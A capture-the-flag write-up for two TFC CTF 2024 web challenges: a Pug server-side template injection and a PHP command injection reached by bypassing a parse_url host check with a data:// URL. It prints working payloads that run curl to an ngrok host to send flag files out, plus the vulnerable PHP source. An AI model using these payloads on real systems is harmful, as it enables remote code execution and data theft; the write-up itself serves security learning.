TFC CTF 2024 - Writeups

Table of Contents

TFC CTF was fun. Though we could only solve 2 of the challenges in the web category. Here are the writeups for the two of them:

Greetings

This was a warmup challenge were we have to exploit an SSTI vulnerability to retrieve the flag.

In the homepage there’s an input and when we enter a value it is reflected in there.

SSTI

To know how the server is handling input we tried to inject %0a character into the username parameter which threw an error. From the error we can see that the server is running pug as its templating engine.

We can refer to HackTricks.xyz to find some payloads to exploit this. We used the curl one to retrieve the flag. First we have to check if the payload is working. I started a netcat listener and an ngrok tcp tunnel and send this payload to the server:

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 0.tcp.in.ngrok.io:18322')}()}

And we got a response from the server:

Now we can read the flag and send it to our netcat listener using this payload:

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 0.tcp.in.ngrok.io:18322 -d `cat flag.txt`')}()}

Safe content

Our site has been breached. Since then we restricted the ips we can get files from. This should reduce our attack surface since no external input gets into our app. Is it safe ? For the source code, go to /src.php

We can see the source code if we go to /src.php:

<?php

    function isAllowedIP($url, $allowedHost) {
        $parsedUrl = parse_url($url);
        
        if (!$parsedUrl || !isset($parsedUrl['host'])) {
            return false;
        }
        
        return $parsedUrl['host'] === $allowedHost;
    }

    function fetchContent($url) {
        $context = stream_context_create([
            'http' => [
                'timeout' => 5 // Timeout in seconds
            ]
        ]);

        $content = @file_get_contents($url, false, $context);
        if ($content === FALSE) {
            $error = error_get_last();
            throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']);
        }
        return base64_decode($content);
    }

    if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['url'])) {
        $url = $_GET['url'];
        $allowedIP = 'localhost';
        
        if (isAllowedIP($url, $allowedIP)) {
            $content = fetchContent($url);
            // file upload removed due to security issues
            if ($content) {
                $command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
                exec($command . ' > /dev/null 2>&1');
                // this should fix it
            }
        }
    }
    ?>

It checks if the host is localhost using the parse_url function in php, and if that check returns true then it will read the content of that url, decodes it from base64 and outputs it into /tmp directory. Note that there’s no validation check for the values in $content and it is directly concatenated with $command variable and passed into exec() function. If we can control the value in the $content variable we can achieve rce in the server. But for that we have to bypass the isAllowedIP() check.

After a bit of searching we found this article

PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions. One of those wrapper is the data:// wrapper. But how to bypass the isAllowedIP check? The format of a data:// URL is like this:

data:[<mediatype>][;base64],<data>

where mediatype can be values like text/plain, image/jpeg, etc. Let’s pass a sample data url into the php parse_url and let’s see what happens:

Note that the value of host is text. And what if we replace that with localhost?

As we can see the parse_url function interprets the mime type value of the data:// wrapper as the host. This can be used to bypass the isAllowedIP check. But if we pass this malformed data:// url into the file_get_contents would it retrieves the output properly or does it throws some error?

Its PHP, ofcourse it works…

The server first decodes the content from base64 and only then it executes it, so we have to double encode the payload in base64 then give it to the server.

echo ';curl http://0.tcp.in.ngrok.io:1337 -d @/flag.txt ;#' | base64 | base64

TzJOMWNtd2dhSFIwY0Rvdkx6QXVkR053TG1sdUxtNW5jbTlyTG1sdk9qRTFOVE13SUMxa0lFQXZa
bXhoWnk1MGVIUWdPeU1LCg==

Now setup a ngrok tcp tunnel and a netcat listener and send this request:

curl http://challs.tfcctf.com:1337/?url=data://localhost/plain;base64,TzJOMWNtd2dhSFIwY0Rvdkx6QXVkR053TG1sdUxtNW5jbTlyTG1sdk9qRTFOVE13SUMxa0lFQXZabXhoWnk1MGVIUWdPeU1LCg==

And there’s the flag.